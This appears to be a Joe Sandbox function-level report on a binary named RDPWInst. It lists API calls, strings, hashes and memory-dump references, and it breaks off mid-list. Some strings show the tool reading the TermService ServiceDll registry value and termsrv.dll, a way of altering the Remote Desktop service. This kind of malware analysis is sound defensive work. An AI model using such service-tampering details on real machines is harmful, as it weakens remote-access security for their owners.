Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: lstrcpyn$AddressHandleModuleProc
String ID: GetLongPathNameW$kernel32.dll
API String ID: 682285877-568771998
Opcode ID: b8455c5fe78c2c884a1c523d091bd77d655f60f97b2ecbe02dba18575876a37c
Instruction ID: bfed53c75bae09f5f3cffe8e2e1a10a808aab42f40121fe7fe66bb66f29727bd
Opcode Fuzzy Hash: b8455c5fe78c2c884a1c523d091bd77d655f60f97b2ecbe02dba18575876a37c
Instruction Fuzzy Hash: 65213E71D10219EBDB10DBE8CA85A9EB3F9AF04344F14457BA584F72C1EB789E408B99

Function 0043C9B4 Relevance: 9.1, APIs: 1, Strings: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00447324,?,?,00443D51,00000000,00443FB2,?,?,?,?,00000008,00000000,00000000), ref: 0043CA09

Strings

%SystemRoot%\System32\termsrv.dll, xrefs: 0043CA53
$sD, xrefs: 0043CA16
\SYSTEM\CurrentControlSet\Services\TermService\Parameters, xrefs: 0043C9F8
[-] OpenKey error (code , xrefs: 0043CA1B
ServiceDll, xrefs: 0043CA58

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: ErrorLast
String ID: $sD$%SystemRoot%\System32\termsrv.dll$ServiceDll$[-] OpenKey error (code $\SYSTEM\CurrentControlSet\Services\TermService\Parameters
API String ID: 1452528299-1418523706
Opcode ID: d2f311149e027bc2624a0d6677516fc2b3f38769c85f091cbdc9e4c4a7fc29bb
Instruction ID: 567d776bcdb317a1c07dce30fb64d79162ce412928a02d635409720c7dced6b6
Opcode Fuzzy Hash: d2f311149e027bc2624a0d6677516fc2b3f38769c85f091cbdc9e4c4a7fc29bb
Instruction Fuzzy Hash: 5E1160746042049FD700FBAAED8355AB7A5DB89318F21A07FF504AB652CA396D01972D

Function 0043B48C Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 52serviceCOMMON

Download Yara Rule

APIs

CloseServiceHandle.ADVAPI32(00000000,00000000,0043B52C,?,00000000,?,?,0043B6A3,?,00000000,00000000,?,00000000,00000000,00000010,00000000), ref: 0043B4BC
CloseServiceHandle.ADVAPI32(00000000,00000000,0043B52C,?,00000000,?,?,0043B6A3,?,00000000,00000000,?,00000000,00000000,00000010,00000000), ref: 0043B4D1

Strings

$sD, xrefs: 0043B4DC
error (code , xrefs: 0043B4F3
[-] , xrefs: 0043B4E1

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: CloseHandleService
String ID: error (code $$sD$[-]
API String ID: 1725840886-1845222458
Opcode ID: cf70b5b7ebfe22217b52877715410a6f055c53433fc66062313880689f831c28
Instruction ID: e4f6fbb8d87d745fddbbf3aa76ef7c2d42e102f771b0e90c1d198fe2bf5ce7b8
Opcode Fuzzy Hash: cf70b5b7ebfe22217b52877715410a6f055c53433fc66062313880689f831c28
Instruction Fuzzy Hash: 411165B4604204AFD700FBA5C946A5EBBE9EF8C309F51807AF504DB652C738AE409A6D

Function 0041EFE0 Relevance: 7.8, APIs: 5, Instructions: 334COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd1bd09856875484954c00905d9deca0163cdd4237c815e7c02b6f8489ed4b52
Instruction ID: 2dafaf7b7fd63d2285bbc883fb865dc5d4a09b7d21a303d5748d7aa51e2b097e
Opcode Fuzzy Hash: bd1bd09856875484954c00905d9deca0163cdd4237c815e7c02b6f8489ed4b52
Instruction Fuzzy Hash: 33D18035E042599BCF10DBA9C4818FEB7B9EF49704B5080B7EC51A7251D738AD8BCB29

Function 0042E0CC Relevance: 7.6, APIs: 5, Instructions: 142COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,?,00000000,0042E26E), ref: 0042E12C
CharNextW.USER32(?,?,00000000,0042E26E), ref: 0042E1D4
CharNextW.USER32(?,?,00000000,0042E26E), ref: 0042E1F9
CharNextW.USER32(00000000,?,?,00000000,0042E26E), ref: 0042E211

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: CharNext
String ID:
API String ID: 3213498283-0
Opcode ID: 7217fcbca270de98ef8b4b4e8b85cbbd9122b6aa6dc92a8c6271a0bfb5eea1bb
Instruction ID: 1814d07402b1a7f57a8d7a3fe8506fdc05c33e5c0032e5bf9772b1ea290cc636
Opcode Fuzzy Hash: 7217fcbca270de98ef8b4b4e8b85cbbd9122b6aa6dc92a8c6271a0bfb5eea1bb
Instruction Fuzzy Hash: D5516D30B00624DFDF15EF6AD890A697BB5EF06304F8100E6E401DB3A5D778AD92CB5A

Function 00412EDC Relevance: 7.6, APIs: 5, Instructions: 50threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,00412F73,?,?,00000000), ref: 00412EF4

Part of subcall function 00412C4C: GetLocaleInfoW.KERNEL32(?,?,?,00000100), ref: 00412C6A

GetThreadLocale.KERNEL32(00000000,00000004,00000000,00412F73,?,?,00000000), ref: 00412F24
EnumCalendarInfoW.KERNEL32(Function_00012E28,00000000,00000000,00000004,00000000,00412F73,?,?,00000000), ref: 00412F2F
GetThreadLocale.KERNEL32(00000000,00000003,Function_00012E28,00000000,00000000,00000004,00000000,00412F73,?,?,00000000), ref: 00412F4D
EnumCalendarInfoW.KERNEL32(Function_00012E64,00000000,00000000,00000003,Function_00012E28,00000000,00000000,00000004,00000000,00412F73,?,?,00000000), ref: 00412F58

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Locale$InfoThread$CalendarEnum
String ID:
API String ID: 4102113445-0
Opcode ID: 55eda0c8fa878099e478bf73f67320f830a82478ca3254b52692bae57d1b1ada
Instruction ID: 92d88662b64aaf91616c62fb6041fad244e46e3b41fee23c13374d6d2d88cd2b
Opcode Fuzzy Hash: 55eda0c8fa878099e478bf73f67320f830a82478ca3254b52692bae57d1b1ada
Instruction Fuzzy Hash: 930142713007046BE301A6B1CE13F9A726CEB82718F610437F100F66C1D6BCAE2192AD

Function 00412F90 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 177threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,004131C3,?,?,?,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00412FCB

Part of subcall function 00412C4C: GetLocaleInfoW.KERNEL32(?,?,?,00000100), ref: 00412C6A

Strings

yyyy, xrefs: 004130FA
eeee, xrefs: 00413116
ggg, xrefs: 004130EA

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Locale$InfoThread
String ID: eeee$ggg$yyyy
API String ID: 4232894706-1253427255
Opcode ID: f0e1bd095bade663e8df46e19b5da6729160b75494cb6633c971c77849839ccd
Instruction ID: b43ca61d4524358572b11bc7e7a437c5213401559800a2754e6fdc13831cf262
Opcode Fuzzy Hash: f0e1bd095bade663e8df46e19b5da6729160b75494cb6633c971c77849839ccd
Instruction Fuzzy Hash: 97519835B00105ABDB10EF69C8425DEB7B5EF84305B21807BA401E73AADB7CDF92965D

Function 00412D02 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 107threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000000,00412E17,?,?,?,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00412D20

Strings

0\D, xrefs: 00412D61
|\D, xrefs: 00412DD2
`\D, xrefs: 00412DAD

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: LocaleThread
String ID: 0\D$`\D$|\D
API String ID: 635194068-1443555069
Opcode ID: 0cc7b5f362df3f3b22b96f6267770b75cfda245be271edcbb912247af85876fd
Instruction ID: 0f9472f532bfb6d97ff063cc401fba787666d5dde08e68930300e7878c0b733c
Opcode Fuzzy Hash: 0cc7b5f362df3f3b22b96f6267770b75cfda245be271edcbb912247af85876fd
Instruction Fuzzy Hash: 0831E871F006086BDB04DA55D891BAF73B9DB88314F65803BFA05E7382D67CED5183A8

Function 00412D04 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 106threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000000,00412E17,?,?,?,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00412D20

Strings

0\D, xrefs: 00412D61
|\D, xrefs: 00412DD2
`\D, xrefs: 00412DAD

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: LocaleThread
String ID: 0\D$`\D$|\D
API String ID: 635194068-1443555069
Opcode ID: c41b53ad99340a58dd1ea3df1ca7b54c87d2f8ec0189060bbe7d6b41ea99f8a8
Instruction ID: e329392f02449b06687ba54e558461cdf4d213220e6431f4601da2913400d418
Opcode Fuzzy Hash: c41b53ad99340a58dd1ea3df1ca7b54c87d2f8ec0189060bbe7d6b41ea99f8a8
Instruction Fuzzy Hash: A631E871F006086BDB04DA45D891BAF73B9DB88314F65803BFA05E7382D67CED5183A8

Function 004114A4 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 80threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000004,?,00000000,?,00000100,00000000,00411595), ref: 0041152C
GetDateFormatW.KERNEL32(00000000,00000004,?,00000000,?,00000100,00000000,00411595), ref: 00411532

Strings

, xrefs: 004114F8
yyyy, xrefs: 00411507

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: DateFormatLocaleThread
String ID: $yyyy
API String ID: 3303714858-404527807
Opcode ID: 5e56a81e6ec8d75afdc6e5fb3bd2dd6b96c822b9e08f0a8d12efe2345fd405b1
Instruction ID: 4e3523b49621e94f0abc5fe99f3e528012799777c4c12a7b6b737367db96c017
Opcode Fuzzy Hash: 5e56a81e6ec8d75afdc6e5fb3bd2dd6b96c822b9e08f0a8d12efe2345fd405b1
Instruction Fuzzy Hash: 8F219531A00118ABD710EF55C941AEEB3FAEF48300F514077F905E72A1D6389E40C7A9

Function 0043C45C Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 59COMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsW.KERNEL32(00000000,?,00000200,00000000,0043C52D,?,00447324,?,0043F7DC,00000000,0043FAEE,?,?,?,00447324), ref: 0043C4F1

Strings

%ProgramW6432%, xrefs: 0043C4BC
$sD, xrefs: 0043C473, 0043C4E8, 0043C524, 0043C4C6, 0043C4D4
%ProgramFiles%, xrefs: 0043C4C1

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: EnvironmentExpandStrings
String ID: $sD$%ProgramFiles%$%ProgramW6432%
API String ID: 237503144-3145546840
Opcode ID: c5f063dfebfa4231b205ec39474c4c55e757e18b534536750d11f4516631b0cd
Instruction ID: dfc59d650baf98a512f6366ea296a42dbe4730e7440a0cbc8b484aecff229b80
Opcode Fuzzy Hash: c5f063dfebfa4231b205ec39474c4c55e757e18b534536750d11f4516631b0cd
Instruction Fuzzy Hash: 411184B0604168ABD714EB65CD92A9DB7B9DB48304F5140BBA205F3292DB38EE558B1C

Function 0040AEAC Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

FindResourceW.KERNEL32(00400000,CHARTABLE,0000000A,?,?,0040ADC8,?,0040EE39,00000000,0040EF55), ref: 0040AEC0
LoadResource.KERNEL32(00400000,00000000,00400000,CHARTABLE,0000000A,?,?,0040ADC8,?,0040EE39,00000000,0040EF55), ref: 0040AED7
LockResource.KERNEL32(00000000,00400000,00000000,00400000,CHARTABLE,0000000A,?,?,0040ADC8,?,0040EE39,00000000,0040EF55), ref: 0040AEE8

Part of subcall function 00415A68: GetLastError.KERNEL32(0040AEF9,00000000,00400000,00000000,00400000,CHARTABLE,0000000A,?,?,0040ADC8,?,0040EE39,00000000,0040EF55), ref: 00415A68

Strings

CHARTABLE, xrefs: 0040AEB5

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Resource$ErrorFindLastLoadLock
String ID: CHARTABLE
API String ID: 1074440638-2668339182
Opcode ID: 2576ac7df62392cdd79f5341252eb240a6292d2d2deea21fb17a0e0107b6f450
Instruction ID: 0ebed5ed6e5dda7701dd75a560580c35c1b3b1e5272f816bd12d169416f3b400
Opcode Fuzzy Hash: 2576ac7df62392cdd79f5341252eb240a6292d2d2deea21fb17a0e0107b6f450
Instruction Fuzzy Hash: 4E0180B87803018FC718EF59D8D1A9A73E9AB99320709453EE241577A1CF3C9C40DB59

Function 00419584 Relevance: 6.1, APIs: 4, Instructions: 115COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 00419633
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 0041964F
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 004196C6
VariantClear.OLEAUT32(?), ref: 004196EF

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: ArraySafe$Bound$ClearIndexVariant
String ID:
API String ID: 920484758-0
Opcode ID: 0f680bb846408bca051d329f0f9141866d040382b2d86f627a051af50f217def
Instruction ID: d3a60771d8c98d42dda0da8010ad17e71a6e6e293320ab5b6f42a6f3f22a61d9
Opcode Fuzzy Hash: 0f680bb846408bca051d329f0f9141866d040382b2d86f627a051af50f217def
Instruction Fuzzy Hash: F7410D75A0061D9FCB61DF59CC90BD9B3FCAB48314F0055DAE549A7212DA38AFC18F64

Function 0041325C Relevance: 6.1, APIs: 4, Instructions: 113COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,0000001C,00000000,00413408), ref: 0041328F
GetModuleFileNameW.KERNEL32(?,?,00000105), ref: 004132B3
GetModuleFileNameW.KERNEL32(00400000,?,00000105), ref: 004132CE
LoadStringW.USER32(00000000,0000FFE5,?,00000100), ref: 00413369

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: FileModuleName$LoadQueryStringVirtual
String ID:
API String ID: 3990497365-0
Opcode ID: b4db8f4b60a4758e302225d89cd2c63d37b5a2fd60e804dc2dc20906c96adb53
Instruction ID: 83055b0679be0c1ffa726a7bf1997f9f19e1454b2f4a6b728642dd338ff24854
Opcode Fuzzy Hash: b4db8f4b60a4758e302225d89cd2c63d37b5a2fd60e804dc2dc20906c96adb53
Instruction Fuzzy Hash: 80412070A003589FDB20EF59CC81BCAB7B9AB49304F0040FAE508E7251DB7A9E94CF59

Function 00408B08 Relevance: 6.1, APIs: 4, Instructions: 97threadCOMMON

Download Yara Rule

APIs

GetThreadUILanguage.KERNEL32(?,00000000), ref: 00408B19
SetThreadPreferredUILanguages.KERNEL32(00000004,?,?), ref: 00408B7B
SetThreadPreferredUILanguages.KERNEL32(00000000,00000000,?), ref: 00408BD8
SetThreadPreferredUILanguages.KERNEL32(00000008,?,?), ref: 00408C0B

Part of subcall function 00408AC4: GetThreadPreferredUILanguages.KERNEL32(00000038,?,00000000,?,?,00000000,?,?,00408B89), ref: 00408ADB
Part of subcall function 00408AC4: GetThreadPreferredUILanguages.KERNEL32(00000038,?,00000000,?,?,?,00408B89), ref: 00408AF8

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.000000000044B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715093178.000000000044D000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715107589.0000000000450000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Thread$LanguagesPreferred$Language
String ID:
API String ID: 2255706666-0
Opcode ID: 57ba5b2eaa9ba2f7f394178960eeeee68cc8fe68392739164dda0304afca2262
Instruction ID: ba3eb85df9a642da38a4383696d7f270617e705f6d5ccbab9dd9f20305666083
Opcode Fuzzy Hash: 57ba5b2eaa9ba2f7f394178960eeeee68cc8fe68392739164dda0304afca2262
Instruction Fuzzy Hash: 5A317C70A1021A9BDB00DFE9C885AAEB3B5FF44304F00457AE991E72D1DB78AE44CB58

Function 0042FB48 Relevance: 6.1, APIs: 4, Instructions: 51COMMON

Download Yara Rule

APIs

FindResourceW.KERNEL32(00400000,00000000,?,00425E1C,00400000,00000001,00000000,?,0042FA36,00000000,0044BFA8,?,0044BFA8,00000000,?,0043CEE1), ref: 0042FB5F
LoadResource.KERNEL32(00400000,0042FBE4,00400000,00000000,?,00425E1C,00400000,00000001,00000000,?,0042FA36,00000000,0044BFA8,?,0044BFA8,00000000), ref: 0042FB79
SizeofResource.KERNEL32(00400000,0042FBE4,00400000,0042FBE4,00400000,00000000,?,00425E1C,00400000,00000001,00000000,?,0042FA36,00000000,0044BFA8), ref: 0042FB93
LockResource.KERNEL32(0042F774,00000000,00400000,0042FBE4,00400000,0042FBE4,00400000,00000000,?,00425E1C,00400000,00000001,00000000,?,0042FA36,00000000), ref: 0042FB9D

Memory Dump Source

Source File: 00000003.00000002.1714996880.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1714972455.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715033736.0000000000445000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715049388.0000000000446000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1715063363.0000000000447000.00000004.00000001.01000000.00000007.sdmpDownload File
